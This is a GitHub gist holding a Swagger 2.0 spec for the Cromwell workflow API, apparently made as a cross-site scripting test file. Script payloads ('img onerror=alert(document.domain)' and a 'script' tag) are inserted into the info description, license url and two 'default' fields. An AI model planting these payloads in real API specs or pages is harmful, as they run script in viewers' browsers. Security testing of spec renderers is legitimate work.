Last active
December 1, 2022 06:45
-
-
Save pikpikcu/982e9be4b2e4834cc40b23a05ada27e4 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| swagger: '2.0' | |
| info: | |
| title: Swagger Test | |
| description: <img src=x onerror=\"alert(document.domain)\"> | |
| default: <script>console.log(‘000000000000000000dad0000000000000000000');</script> | |
| license: | |
| name: BSD | |
| url: <img src=x onerror=\"alert(document.domain)\"> | |
| version: '30' | |
| produces: | |
| - application/json | |
| paths: | |
| '/api/workflows/{version}': | |
| post: | |
| operationId: submit | |
| summary: Submit a workflow for execution | |
| description: Submits a workflow to Cromwell. Note that this endpoint can accept an unlimited number of input files via workflowInputs_N but swagger needs them to be explicitly defined so we have provided 5 as an example. | |
| consumes: | |
| - multipart/form-data | |
| parameters: | |
| - $ref: '#/parameters/versionParam' | |
| - name: workflowSource | |
| description: The workflow source file to submit for execution. Either workflow source or workflow url is required. | |
| required: false | |
| type: file | |
| in: formData | |
| - name: workflowUrl | |
| description: URL which points to the workflow. Either workflow source or workflow url is required. | |
| required: false | |
| type: string | |
| in: formData | |
| - name: workflowOnHold | |
| description: Put workflow on hold upon submission. By default, it is taken as false. | |
| required: false | |
| type: boolean | |
| in: formData | |
| - name: workflowInputs | |
| description: JSON or YAML file containing the inputs as an object. For WDL workflows a skeleton file can be generated from WOMtool using the "inputs" subcommand. When multiple files are specified, in case of key conflicts between multiple input JSON files, higher values of x in workflowInputs_x override lower values. For example, an input specified in workflowInputs_3 will override an input with the same name in workflowInputs or workflowInputs_2. Similarly, an input key specified in workflowInputs_5 will override an identical input key in any other input file. | |
| required: false | |
| type: file | |
| in: formData | |
| - name: workflowInputs_2 | |
| description: A second JSON or YAML file containing inputs. | |
| required: false | |
| type: file | |
| in: formData | |
| - name: workflowInputs_3 | |
| description: A third JSON or YAML file containing inputs. | |
| required: false | |
| type: file | |
| in: formData | |
| - name: workflowInputs_4 | |
| description: A fourth JSON or YAML file containing inputs. | |
| required: false | |
| type: file | |
| in: formData | |
| - name: workflowInputs_5 | |
| description: A fifth JSON or YAML file containing inputs. | |
| required: false | |
| type: file | |
| in: formData | |
| - name: workflowOptions | |
| description: JSON file containing configuration options for the execution of this workflow. | |
| required: false | |
| type: file | |
| in: formData | |
| - $ref: '#/parameters/workflowTypeParam' | |
| - name: workflowRoot | |
| description: The root object to be run. Only necessary for CWL submissions containing multiple objects (in an array). | |
| required: false | |
| type: string | |
| in: formData | |
| - $ref: '#/parameters/workflowTypeVersionParam' | |
| - name: labels | |
| description: JSON object of labels to apply to this workflow. | |
| required: false | |
| type: file | |
| in: formData | |
| - name: workflowDependencies | |
| description: ZIP file containing workflow source files that are used to resolve local imports. This zip bundle will be unpacked in a sandbox accessible to this workflow. | |
| required: false | |
| type: file | |
| in: formData | |
| tags: | |
| - Workflows | |
| responses: | |
| '201': | |
| description: Successful Request | |
| schema: | |
| $ref: '#/definitions/WorkflowIdAndStatus' | |
| '400': | |
| $ref: '#/responses/InvalidSubmission' | |
| '500': | |
| $ref: '#/responses/ServerError' | |
| '/api/workflows/{version}/batch': | |
| post: | |
| operationId: submitBatch | |
| summary: Submit a batch of workflows for execution | |
| description: In instances where you want to run the same workflow multiple times with varying inputs you may submit a workflow batch. This endpoint is fundamentally the same as the standard submission endpoint with the exception that the inputs JSON will be an array of objects instead of a single object. | |
| consumes: | |
| - multipart/form-data | |
| parameters: | |
| - $ref: '#/parameters/versionParam' | |
| - name: workflowSource | |
| description: The workflow source file to submit for execution. Either workflow source or workflow url is required. | |
| required: false | |
| type: file | |
| in: formData | |
| - name: workflowUrl | |
| description: URL which points to the workflow. Either workflow source or workflow url is required. | |
| required: false | |
| type: string | |
| in: formData | |
| - name: workflowOnHold | |
| description: Put workflow on hold upon submission. By default, it is taken as false. | |
| required: false | |
| type: boolean | |
| in: formData | |
| - name: workflowInputs | |
| description: JSON file containing the inputs as an array of objects. Every element of the array will correspond to a single workflow. For WDL workflows a skeleton file can be generated from WOMtool using the "inputs" subcommand. When multiple files are specified, in case of key conflicts between multiple input JSON files, higher values of x in workflowInputs_x override lower values. For example, an input specified in workflowInputs_3 will override an input with the same name in workflowInputs or workflowInputs_2. Similarly, an input key specified in workflowInputs_5 will override an identical input key in any other input file. | |
| required: true | |
| type: file | |
| in: formData | |
| - name: workflowOptions | |
| description: JSON file containing configuration options for the execution of this workflow. | |
| required: false | |
| type: file | |
| in: formData | |
| - $ref: '#/parameters/workflowTypeParam' | |
| - $ref: '#/parameters/workflowTypeVersionParam' | |
| - name: labels | |
| description: JSON object of labels to apply to this workflow. | |
| required: false | |
| type: file | |
| in: formData | |
| - name: workflowDependencies | |
| description: ZIP file containing workflow source files that are used to resolve local imports. This zip bundle will be unpacked in a sandbox accessible to these workflows. | |
| required: false | |
| type: file | |
| in: formData | |
| tags: | |
| - Workflows | |
| responses: | |
| '200': | |
| description: Successful Request | |
| schema: | |
| type: array | |
| items: | |
| $ref: '#/definitions/WorkflowIdAndStatus' | |
| '400': | |
| $ref: '#/responses/BadRequest' | |
| '500': | |
| $ref: '#/responses/ServerError' | |
| '/api/workflows/{version}/{id}/labels': | |
| get: | |
| operationId: labels | |
| summary: Retrieves the current labels for a workflow | |
| parameters: | |
| - $ref: '#/parameters/versionParam' | |
| - $ref: '#/parameters/singleId' | |
| tags: | |
| - Workflows | |
| responses: | |
| '200': | |
| description: Successful Request | |
| schema: | |
| $ref: '#/definitions/LabelsResponse' | |
| '400': | |
| $ref: '#/responses/BadRequest' | |
| '404': | |
| $ref: '#/responses/NotFound' | |
| '500': | |
| $ref: '#/responses/ServerError' | |
| patch: | |
| operationId: updateLabels | |
| summary: Update labels for a workflow | |
| description: Update multiple labels for an existing workflow. When supplying a label with a key unique to the workflow submission, a new label key/value entry is appended to that workflow's metadata. When supplying a label with a key that is already associated to the workflow submission, the original label value is updated with the new value for that workflow's metadata. | |
| parameters: | |
| - $ref: '#/parameters/versionParam' | |
| - name: id | |
| description: Workflow ID | |
| required: true | |
| type: string | |
| in: path | |
| - name: labels | |
| description: > | |
| Custom labels submitted as JSON. | |
| Example: {"key-1":"value-1","key-2":"value-2"} | |
| required: true | |
| in: body | |
| schema: | |
| type: object | |
| tags: | |
| - Workflows | |
| responses: | |
| '200': | |
| description: Successful Request | |
| schema: | |
| $ref: '#/definitions/LabelsResponse' | |
| '400': | |
| $ref: '#/responses/BadRequest' | |
| '403': | |
| $ref: '#/responses/Forbidden' | |
| '404': | |
| $ref: '#/responses/NotFound' | |
| '500': | |
| $ref: '#/responses/ServerError' | |
| '/api/workflows/{version}/{id}/abort': | |
| post: | |
| operationId: abort | |
| summary: Abort a running workflow | |
| description: Request Cromwell to abort a running workflow. For instance this might be necessary in cases where you have submitted a workflow with incorrect inputs or no longer need the results. Cromwell will schedule a halt of all currently running jobs from this workflow. | |
| parameters: | |
| - $ref: '#/parameters/versionParam' | |
| - $ref: '#/parameters/singleId' | |
| tags: | |
| - Workflows | |
| responses: | |
| '200': | |
| $ref: '#/responses/OkIdAndStatus' | |
| '400': | |
| $ref: '#/responses/BadRequest' | |
| '403': | |
| $ref: '#/responses/Forbidden' | |
| '404': | |
| $ref: '#/responses/NotFound' | |
| '500': | |
| $ref: '#/responses/ServerError' | |
| '/api/workflows/{version}/{id}/releaseHold': | |
| post: | |
| operationId: releaseHold | |
| summary: Switch a workflow from 'On Hold' to 'Submitted' status | |
| description: Request Cromwell to release the hold on a workflow. It will switch the status of a workflow from 'On Hold' to 'Submitted' so it can be picked for running. For instance this might be necessary in cases where you have submitted a workflow with workflowOnHold = true. | |
| parameters: | |
| - $ref: '#/parameters/versionParam' | |
| - $ref: '#/parameters/singleId' | |
| tags: | |
| - Workflows | |
| responses: | |
| '200': | |
| $ref: '#/responses/OkIdAndStatus' | |
| '400': | |
| $ref: '#/responses/BadRequest' | |
| '403': | |
| $ref: '#/responses/Forbidden' | |
| '404': | |
| $ref: '#/responses/NotFound' | |
| '500': | |
| $ref: '#/responses/ServerError' | |
| '/api/workflows/{version}/{id}/status': | |
| get: | |
| operationId: status | |
| summary: Retrieves the current state for a workflow | |
| parameters: | |
| - $ref: '#/parameters/versionParam' | |
| - $ref: '#/parameters/singleId' | |
| tags: | |
| - Workflows | |
| responses: | |
| '200': | |
| $ref: '#/responses/OkIdAndStatus' | |
| '400': | |
| $ref: '#/responses/BadRequest' | |
| '404': | |
| $ref: '#/responses/NotFound' | |
| '500': | |
| $ref: '#/responses/ServerError' | |
| '/api/workflows/{version}/{id}/outputs': | |
| get: | |
| operationId: outputs | |
| summary: Get the outputs for a workflow | |
| description: Retrieve the outputs for the specified workflow. Cromwell will return any outputs which currently exist even if a workflow has not successfully completed. | |
| parameters: | |
| - $ref: '#/parameters/versionParam' | |
| - $ref: '#/parameters/singleId' | |
| tags: | |
| - Workflows | |
| responses: | |
| '200': | |
| $ref: '#/responses/OkIdAndStatus' | |
| '400': | |
| $ref: '#/responses/BadRequest' | |
| '404': | |
| $ref: '#/responses/NotFound' | |
| '500': | |
| $ref: '#/responses/ServerError' | |
| '/api/workflows/{version}/{id}/logs': | |
| get: | |
| operationId: logs | |
| summary: Get the logs for a workflow | |
| description: Returns paths to the standard out and standard error files that were generated during the execution of all calls in a workflow. A call has one or more standard out and standard error logs, depending on if the call was scattered or not. In the latter case, one log is provided for each instance of the call that has been run. | |
| parameters: | |
| - $ref: '#/parameters/versionParam' | |
| - $ref: '#/parameters/singleId' | |
| tags: | |
| - Workflows | |
| responses: | |
| '200': | |
| $ref: '#/responses/OK' | |
| '400': | |
| $ref: '#/responses/BadRequest' | |
| '404': | |
| $ref: '#/responses/NotFound' | |
| '500': | |
| $ref: '#/responses/ServerError' | |
| '/api/workflows/{version}/query': | |
| get: | |
| operationId: queryGet | |
| summary: Get workflows matching some criteria | |
| description: Query for workflows which match various criteria. When a combination of criteria are applied the endpoint will return | |
| parameters: | |
| - $ref: '#/parameters/versionParam' | |
| - name : submission | |
| required: false | |
| type: string | |
| format: date-time | |
| in: query | |
| description: > | |
| Returns only workflows with an equal or later submission time. Can be specified at most once. If both submission time and start date are | |
| specified, submission time should be before or equal to start date. | |
| - name: start | |
| required: false | |
| type: string | |
| format: date-time | |
| in: query | |
| description: > | |
| Returns only workflows with an equal or later start datetime. Can be specified at most once. | |
| If both start and end date are specified, start date must be before or equal to end date. | |
| - name: end | |
| required: false | |
| type: string | |
| format: date-time | |
| in: query | |
| description: > | |
| Returns only workflows with an equal or earlier end datetime. Can be specified at most once. | |
| If both start and end date are specified, start date must be before or equal to end date. | |
| - name: status | |
| required: false | |
| in: query | |
| type: array | |
| items: | |
| type: string | |
| collectionFormat: multi | |
| enum: | |
| - Submitted | |
| - Running | |
| - Aborting | |
| - Failed | |
| - Succeeded | |
| - Aborted | |
| description: > | |
| Returns only workflows with the specified status. If specified multiple times, | |
| returns workflows in any of the specified statuses. | |
| - name: name | |
| required: false | |
| in: query | |
| type: array | |
| items: | |
| type: string | |
| collectionFormat: multi | |
| pattern: ^[a-zA-Z][a-zA-Z0-9_]*$ | |
| description: > | |
| Returns only workflows with the specified name. If specified multiple times, | |
| returns workflows with any of the specified names. | |
| - name: id | |
| required: false | |
| in: query | |
| type: array | |
| items: | |
| type: string | |
| collectionFormat: multi | |
| pattern: ^[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12}$ | |
| description: > | |
| Returns only workflows with the specified workflow id. If specified multiple times, | |
| returns workflows with any of the specified workflow ids. | |
| - name: label | |
| required: false | |
| in: query | |
| type: array | |
| items: | |
| type: string | |
| collectionFormat: multi | |
| pattern: ^([a-z][-a-z0-9]*[a-z0-9])?[:]([a-z][-a-z0-9]*[a-z0-9])?$ | |
| description: > | |
| Returns workflows with the specified label keys. If specified multiple times, | |
| returns workflows with all of the specified label keys. Specify the label key | |
| and label value pair as separated with | |
| "label-key:label-value" | |
| - name: labelor | |
| required: false | |
| in: query | |
| type: array | |
| items: | |
| type: string | |
| collectionFormat: multi | |
| pattern: ^([a-z][-a-z0-9]*[a-z0-9])?[:]([a-z][-a-z0-9]*[a-z0-9])?$ | |
| description: > | |
| Returns workflows with the specified label keys. If specified multiple times, | |
| returns workflows with any of the specified label keys. Specify the label key | |
| and label value pair as separated with | |
| "label-key:label-value" | |
| - name: excludeLabelAnd | |
| required: false | |
| in: query | |
| type: array | |
| items: | |
| type: string | |
| collectionFormat: multi | |
| pattern: ^([a-z][-a-z0-9]*[a-z0-9])?[:]([a-z][-a-z0-9]*[a-z0-9])?$ | |
| description: > | |
| Excludes workflows with the specified label. If specified multiple times, | |
| excludes workflows with all of the specified label keys. Specify the label key | |
| and label value pair as separated with | |
| "label-key:label-value" | |
| - name: excludeLabelOr | |
| required: false | |
| in: query | |
| type: array | |
| items: | |
| type: string | |
| collectionFormat: multi | |
| pattern: ^([a-z][-a-z0-9]*[a-z0-9])?[:]([a-z][-a-z0-9]*[a-z0-9])?$ | |
| description: > | |
| Excludes workflows with the specified label. If specified multiple times, | |
| excludes workflows with any of the specified label keys. Specify the label key | |
| and label value pair as separated with | |
| "label-key:label-value" | |
| - name: additionalQueryResultFields | |
| required: false | |
| in: query | |
| type: array | |
| items: | |
| type: string | |
| collectionFormat: multi | |
| description: > | |
| Currently only 'labels' is a valid value here. Use it to include a list of labels with each result. | |
| - name : includeSubworkflows | |
| required: false | |
| type: boolean | |
| format: boolean | |
| in: query | |
| description: Include subworkflows in results. By default, it is taken as true. | |
| tags: | |
| - Workflows | |
| responses: | |
| '200': | |
| description: Successful Request | |
| schema: | |
| $ref: '#/definitions/WorkflowQueryResponse' | |
| '403': | |
| $ref: '#/responses/Forbidden' | |
| '404': | |
| $ref: '#/responses/NotFound' | |
| '500': | |
| $ref: '#/responses/ServerError' | |
| post: | |
| operationId: queryPost | |
| summary: Get workflows matching some criteria | |
| description: Query workflows by start dates, end dates, names, ids, labels, or statuses. | |
| parameters: | |
| - $ref: '#/parameters/versionParam' | |
| - name: parameters | |
| required: true | |
| in: body | |
| schema: | |
| type: array | |
| items: | |
| $ref: '#/definitions/WorkflowQueryParameter' | |
| description: > | |
| Same query parameters as GET /query endpoint, submitted as a json list. | |
| Example: [{"status":"Success"},{"status":"Failed"}] | |
| tags: | |
| - Workflows | |
| responses: | |
| '200': | |
| description: Successful Request | |
| schema: | |
| $ref: '#/definitions/WorkflowQueryResponse' | |
| '400': | |
| $ref: '#/responses/BadRequest' | |
| '500': | |
| $ref: '#/responses/ServerError' | |
| '/api/workflows/{version}/{id}/timing': | |
| get: | |
| operationId: timing | |
| summary: Get a visual diagram of a running workflow | |
| description: Returns a javascript file which will render a Gantt chart for the requested workflow. The bars in the chart represent start and end times for individual task invocations. This javascript is intended to be embedded into another web page. | |
| parameters: | |
| - $ref: '#/parameters/versionParam' | |
| - $ref: '#/parameters/singleId' | |
| tags: | |
| - Workflows | |
| responses: | |
| '200': | |
| $ref: '#/responses/OkIdAndStatus' | |
| '400': | |
| $ref: '#/responses/BadRequest' | |
| '404': | |
| $ref: '#/responses/NotFound' | |
| '500': | |
| $ref: '#/responses/ServerError' | |
| '/api/workflows/{version}/{id}/metadata': | |
| get: | |
| operationId: metadata | |
| summary: Get workflow and call-level metadata for a specified workflow | |
| parameters: | |
| - $ref: '#/parameters/versionParam' | |
| - $ref: '#/parameters/singleId' | |
| - name: includeKey | |
| description: > | |
| When specified, filters metadata to only return fields with names which begins with this value. | |
| This key is used relative to the root of the response *and* relative to each call's metadata fields. | |
| required: false | |
| type: array | |
| items: | |
| type: string | |
| collectionFormat: multi | |
| in: query | |
| - name: excludeKey | |
| description: > | |
| When specified, filters metadata to not return any field with a name which begins with this value. | |
| This key is used relative to the root of the response *and* relative to each call's metadata fields. | |
| Use 'calls' to filter out all call level metadata. | |
| required: false | |
| type: array | |
| items: | |
| type: string | |
| collectionFormat: multi | |
| in: query | |
| - name: expandSubWorkflows | |
| description: > | |
| When true, metadata for sub workflows will be fetched and inserted automatically in the metadata response. | |
| required: false | |
| type: boolean | |
| in: query | |
| - name: metadataSource | |
| description: > | |
| [Intended For System Verification] | |
| Force Cromwell to ignore the archive status of a workflow and return either the json-archived | |
| or database-backed unarchived version of the metadata. | |
| Note: Only affects the hybrid carboniting metadata service. The classic service ignores this. | |
| Warning 1: If the workflow has not yet been archived, then specifying | |
| "Archived" may cause an error or give you incorrect metadata. | |
| Warning 2: If an archived workflow has already been removed from the database, then specifying | |
| "Unarchived" may cause an error or give you incorrect metadata. | |
| required: false | |
| type: string | |
| enum: ["Unarchived", "Archived"] | |
| in: query | |
| tags: | |
| - Workflows | |
| responses: | |
| '200': | |
| description: Successful Request | |
| schema: | |
| $ref: '#/definitions/WorkflowMetadataResponse' | |
| '400': | |
| $ref: '#/responses/BadRequest' | |
| '404': | |
| $ref: '#/responses/NotFound' | |
| '500': | |
| $ref: '#/responses/ServerError' | |
| '/api/workflows/{version}/callcaching/diff': | |
| get: | |
| operationId: callCacheDiff | |
| summary: Explain hashing differences for 2 calls | |
| description: This endpoint returns the hash differences between 2 completed (successfully or not) calls. | |
| parameters: | |
| - $ref: '#/parameters/versionParam' | |
| - name: workflowA | |
| description: Workflow Id of the first workflow | |
| required: true | |
| type: string | |
| in: query | |
| - name: callA | |
| description: Fully qualified name, including workflow name, of the first call. | |
| required: true | |
| type: string | |
| in: query | |
| - name: indexA | |
| description: Shard index for the first call for cases where the requested call was part of a scatter. | |
| required: false | |
| type: integer | |
| in: query | |
| - name: workflowB | |
| description: Workflow Id of the second workflow | |
| required: true | |
| type: string | |
| in: query | |
| - name: callB | |
| description: Fully qualified name, including workflow name, of the second call | |
| required: true | |
| type: string | |
| in: query | |
| - name: indexB | |
| description: Shard index for the second call for cases where the requested call was part of a scatter. | |
| required: false | |
| type: integer | |
| in: query | |
| tags: | |
| - Workflows | |
| responses: | |
| '200': | |
| $ref: '#/responses/OK' | |
| '400': | |
| $ref: '#/responses/BadRequest' | |
| '404': | |
| description: No matching cache entry. Cromwell versions prior to 28 will not have recorded information necessary for this endpoint and thus will also appear to not exist. | |
| '500': | |
| $ref: '#/responses/ServerError' | |
| '/api/workflows/{version}/backends': | |
| get: | |
| operationId: backends | |
| summary: List the supported backends | |
| description: Returns the backends supported by this Cromwell server, as well as the default backend. | |
| parameters: | |
| - $ref: '#/parameters/versionParam' | |
| tags: | |
| - Workflows | |
| responses: | |
| '200': | |
| description: Successful Request | |
| schema: | |
| $ref: '#/definitions/BackendResponse' | |
| '/api/womtool/{version}/describe': | |
| post: | |
| operationId: describe | |
| summary: Machine-readable description of a workflow, including inputs and outputs | |
| consumes: | |
| - multipart/form-data | |
| parameters: | |
| - $ref: '#/parameters/versionParam' | |
| - name: workflowSource | |
| description: The workflow source file to submit for execution. Either workflow source or workflow url is required. | |
| required: false | |
| type: file | |
| in: formData | |
| - name: workflowUrl | |
| description: URL which points to the workflow. Either workflow source or workflow url is required. | |
| required: false | |
| type: string | |
| in: formData | |
| - name: workflowInputs | |
| description: JSON or YAML file containing the inputs as an object. | |
| required: false | |
| type: file | |
| in: formData | |
| - $ref: '#/parameters/workflowTypeParam' | |
| - $ref: '#/parameters/workflowTypeVersionParam' | |
| responses: | |
| '200': | |
| description: Workflow description. | |
| schema: | |
| $ref: '#/definitions/WorkflowDescription' | |
| tags: | |
| - "Womtool" | |
| '/engine/{version}/version': | |
| get: | |
| operationId: engineVersion | |
| summary: Return the version of this Cromwell server | |
| parameters: | |
| - $ref: '#/parameters/versionParam' | |
| tags: | |
| - Engine | |
| responses: | |
| '200': | |
| description: Successful Request | |
| schema: | |
| $ref: '#/definitions/VersionResponse' | |
| '/engine/{version}/status': | |
| get: | |
| operationId: engineStatus | |
| summary: Return the current health status of any monitored subsystems | |
| parameters: | |
| - $ref: '#/parameters/versionParam' | |
| tags: | |
| - Engine | |
| responses: | |
| '200': | |
| description: All subsystems report an "ok" status | |
| schema: | |
| $ref: '#/definitions/StatusResponse' | |
| '500': | |
| description: At least one subsystem does not have an "ok" status | |
| schema: | |
| $ref: '#/definitions/StatusResponse' | |
| responses: | |
| OkIdAndStatus: | |
| description: Successful Request | |
| schema: | |
| $ref: '#/definitions/WorkflowIdAndStatus' | |
| OK: | |
| description: Successful Request | |
| schema: | |
| $ref: '#/definitions/WorkflowIdAndStatus' | |
| InvalidSubmission: | |
| description: Invalid submission request | |
| BadRequest: | |
| description: Malformed Workflow ID | |
| Forbidden: | |
| description: Workflow in terminal status | |
| NotFound: | |
| description: Workflow ID Not Found | |
| ServerError: | |
| description: Internal Error | |
| parameters: | |
| singleId: | |
| name: id | |
| description: A workflow ID | |
| required: true | |
| type: string | |
| in: path | |
| pattern: ^[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12}$ | |
| workflowTypeParam: | |
| name: workflowType | |
| type: string | |
| description: The workflow language for the file you submitted. Cromwell currently supports WDL and CWL. | |
| enum: [WDL, CWL] | |
| required: false | |
| in: formData | |
| workflowTypeVersionParam: | |
| name: workflowTypeVersion | |
| description: The specification version for the workflow language being used. For WDL, Cromwell currently supports draft-2 and 1.0. For CWL, Cromwell currently supports v1.0. | |
| required: false | |
| type: string | |
| enum: ["draft-2", "1.0", "v1.0"] | |
| in: formData | |
| versionParam: | |
| name: version | |
| description: Cromwell API Version | |
| required: true | |
| type: string | |
| in: path | |
| default: <script>console.log(‘000000000000000000dad0000000000000000000');</script> | |
| definitions: | |
| WorkflowSubmitResponse: | |
| required: | |
| - id | |
| - status | |
| properties: | |
| id: | |
| type: string | |
| description: The identifier of the workflow | |
| example: 00001111-2222-3333-aaaa-bbbbccccdddd | |
| status: | |
| type: string | |
| description: The status of the workflow | |
| example: Submitted | |
| WorkflowIdAndStatus: | |
| required: | |
| - id | |
| - status | |
| properties: | |
| id: | |
| type: string | |
| description: The identifier of the workflow | |
| example: 00001111-2222-3333-aaaa-bbbbccccdddd | |
| status: | |
| type: string | |
| description: The status of the workflow | |
| example: Submitted | |
| WorkflowMetadataResponse: | |
| description: Workflow and call level metadata | |
| required: | |
| - id | |
| - status | |
| - submission | |
| properties: | |
| id: | |
| type: string | |
| description: The identifier of the workflow | |
| status: | |
| type: string | |
| description: The status of the workflow | |
| submission: | |
| type: string | |
| format: date-time | |
| description: Submission datetime of the workflow in ISO8601 format with milliseconds | |
| start: | |
| type: string | |
| format: date-time | |
| description: Start datetime of the workflow in ISO8601 format with milliseconds | |
| end: | |
| type: string | |
| format: date-time | |
| description: End datetime of the workflow in ISO8601 format with milliseconds | |
| inputs: | |
| type: object | |
| description: Map of input keys to input values | |
| outputs: | |
| type: object | |
| description: Map of output keys to output values | |
| calls: | |
| $ref: '#/definitions/CallMetadata' | |
| failures: | |
| $ref: '#/definitions/FailureMessage' | |
| CallMetadata: | |
| description: Call level metadata | |
| required: | |
| - inputs | |
| - executionStatus | |
| properties: | |
| inputs: | |
| type: object | |
| description: Mapping of input fully qualified names to stringified values | |
| executionStatus: | |
| type: string | |
| description: Status in Cromwell execution terms. | |
| backend: | |
| type: string | |
| description: The type of backend on which the call executed (e.g. JES, SGE, Local) | |
| backendStatus: | |
| type: string | |
| description: Status in backend-specific terms. Currently this will only be defined for the JES backend. | |
| start: | |
| type: string | |
| format: date-time | |
| description: Start datetime of the call execution in ISO8601 format with milliseconds | |
| end: | |
| type: string | |
| format: date-time | |
| description: End datetime of the call execution in ISO8601 format with milliseconds | |
| jobId: | |
| type: string | |
| description: Backend-specific job ID | |
| failures: | |
| $ref: '#/definitions/FailureMessage' | |
| returnCode: | |
| type: integer | |
| description: Call execution return code | |
| stdout: | |
| type: string | |
| description: Path to the standard output file for this call | |
| stderr: | |
| type: string | |
| description: Path to the standard error file for this call | |
| backendLogs: | |
| type: object | |
| description: Paths to backend specific logs for this call | |
| FailureMessage: | |
| description: Failure messages | |
| required: | |
| - failure | |
| - timestamp | |
| properties: | |
| failure: | |
| type: string | |
| description: The failure message | |
| timestamp: | |
| type: string | |
| format: date-time | |
| description: The time at which this failure occurred | |
| WorkflowDescription: | |
| required: | |
| - valid | |
| - validWorkflow | |
| - errors | |
| - name | |
| - inputs | |
| - outputs | |
| - submittedDescriptorType | |
| - isRunnableWorkflow | |
| properties: | |
| valid: | |
| type: boolean | |
| description: Indicates that the workflow is valid and that the inputs, if provided, are compatible with the workflow. | |
| errors: | |
| type: array | |
| items: | |
| type: string | |
| example: | |
| - "The 'errors' field will be filled if 'valid' is false" | |
| - "We might also provide warnings to a 'valid' workflow here" | |
| - "Otherwise, 'errors' will be the empty array" | |
| description: The set of validation failure messages | |
| validWorkflow: | |
| type: boolean | |
| description: Indicates whether the workflow file is valid by itself. If inputs are provided, they are not considered when calculating this field; if inputs are not provided, the value is identical to `valid`. | |
| name: | |
| type: string | |
| description: For a source file with one workflow and zero or more tasks, the name of the workflow. For a single task, the name of the task. For a source file with multiple tasks but no workflows, the empty string. | |
| inputs: | |
| description: A list of inputs for this tool | |
| type: array | |
| items: | |
| $ref: '#/definitions/ToolInputParameter' | |
| example: | |
| - name: my_wf.string_input | |
| valueType: | |
| typeName: String | |
| optional: false | |
| default: null | |
| typeDisplayName: String | |
| - name: my_wf.array_input | |
| valueType: | |
| typeName: Array | |
| arrayType: | |
| typeName: String | |
| optional: false | |
| default: null | |
| typeDisplayName: Array[String] | |
| - name: my_wf.optional_input | |
| valueType: | |
| typeName: Optional | |
| optionalType: | |
| typeName: String | |
| optional: true | |
| default: "hello" | |
| typeDisplayName: String? | |
| - name: my_wf.map_input | |
| valueType: | |
| typeName: Map | |
| mapType: | |
| keyType: | |
| typeName: String | |
| valueType: | |
| typeName: Int | |
| optional: false | |
| default: null | |
| typeDisplayName: Map[String, Int] | |
| - name: my_wf.object_input | |
| valueType: | |
| typeName: Object | |
| objectFieldTypes: | |
| - fieldName: "int_field" | |
| fieldType: | |
| typeName: Int | |
| - fieldName: "int_array_field" | |
| fieldType: | |
| typeName: Array | |
| arrayType: | |
| typeName: Int | |
| optional: false | |
| default: null | |
| typeDisplayName: Object | |
| - name: my_wf.int_string_pair_input | |
| valueType: | |
| typeName: Pair | |
| pairTypes: | |
| - leftType: | |
| - typeName: Int | |
| - rightType: | |
| - typeName: String | |
| optional: false | |
| default: null | |
| typeDisplayName: Pair[Int, String] | |
| outputs: | |
| description: A list of outputs for this tool | |
| type: array | |
| items: | |
| $ref: '#/definitions/ToolOutputParameter' | |
| example: | |
| - name: my_wf.string_output | |
| valueType: | |
| typeName: String | |
| typeDisplayName: String | |
| - name: my_wf.array_output | |
| valueType: | |
| typeName: Array | |
| arrayType: | |
| typeName: String | |
| typeDisplayName: Array[String] | |
| - name: my_wf.map_output | |
| valueType: | |
| typeName: Map | |
| mapType: | |
| keyType: | |
| typeName: String | |
| valueType: | |
| typeName: Int | |
| typeDisplayName: Map[String, Int] | |
| - name: my_wf.object_output | |
| valueType: | |
| typeName: Object | |
| objectFieldTypes: | |
| - fieldName: "int_field" | |
| fieldType: | |
| typeName: Int | |
| - fieldName: "int_array_field" | |
| fieldType: | |
| typeName: Array | |
| arrayType: | |
| typeName: Int | |
| typeDisplayName: Object | |
| - name: my_wf.int_string_pair_output | |
| valueType: | |
| typeName: Pair | |
| tupleTypes: | |
| - typeName: Int | |
| - typeName: String | |
| typeDisplayName: Pair[Int, String] | |
| submittedDescriptorType: | |
| $ref: '#/definitions/DescriptorTypeAndVersion' | |
| isRunnableWorkflow: | |
| description: Indicates whether this file can be run on its own (e.g. a WDL workflow) | |
| type: boolean | |
| ToolInputParameter: | |
| type: object | |
| description: >- | |
| An input parameter for a tool or workflow. | |
| required: | |
| - name | |
| - valueType | |
| - optional | |
| - default | |
| - typeDisplayName | |
| properties: | |
| name: | |
| type: string | |
| description: The name of this input value (formatted as expected by the tool) | |
| valueType: | |
| $ref: '#/definitions/ValueType' | |
| optional: | |
| type: boolean | |
| description: Whether the tool allows this value to not be specified | |
| default: | |
| type: string | |
| description: The in-language expression used to evaluate a default value for this parameter, if | |
| none is supplied. | |
| typeDisplayName: | |
| type: string | |
| description: An easy-to-read display name for the type of the input | |
| ToolOutputParameter: | |
| type: object | |
| description: >- | |
| An output parameter for a tool or workflow. | |
| required: | |
| - name | |
| - valueType | |
| - typeDisplayName | |
| properties: | |
| name: | |
| type: string | |
| description: The name of this input value (formatted as expected by the tool) | |
| valueType: | |
| $ref: '#/definitions/ValueType' | |
| typeDisplayName: | |
| type: string | |
| description: An easy-to-read display name for the type of the output | |
| ValueType: | |
| description: The type expected for a given value. | |
| type: object | |
| required: | |
| - valueType | |
| maxProperties: 2 | |
| properties: | |
| typeName: | |
| type: string | |
| description: The type of this value | |
| enum: | |
| - String | |
| - File | |
| - Directory | |
| - Float | |
| - Int | |
| - Boolean | |
| - Optional | |
| - Array | |
| - Tuple | |
| - Map | |
| - Object | |
| - Pair | |
| optionalType: | |
| $ref: '#/definitions/ValueType' | |
| arrayType: | |
| $ref: '#/definitions/ValueType' | |
| mapType: | |
| $ref: '#/definitions/MapValueType' | |
| tupleTypes: | |
| type: array | |
| items: | |
| $ref: '#/definitions/ValueType' | |
| objectFieldTypes: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| fieldName: | |
| type: string | |
| fieldType: | |
| $ref: '#/definitions/ValueType' | |
| MapValueType: | |
| type: object | |
| description: A type representing a map from one type to another. | |
| required: | |
| - keyType | |
| - valueType | |
| properties: | |
| keyType: | |
| $ref: '#/definitions/ValueType' | |
| valueType: | |
| $ref: '#/definitions/ValueType' | |
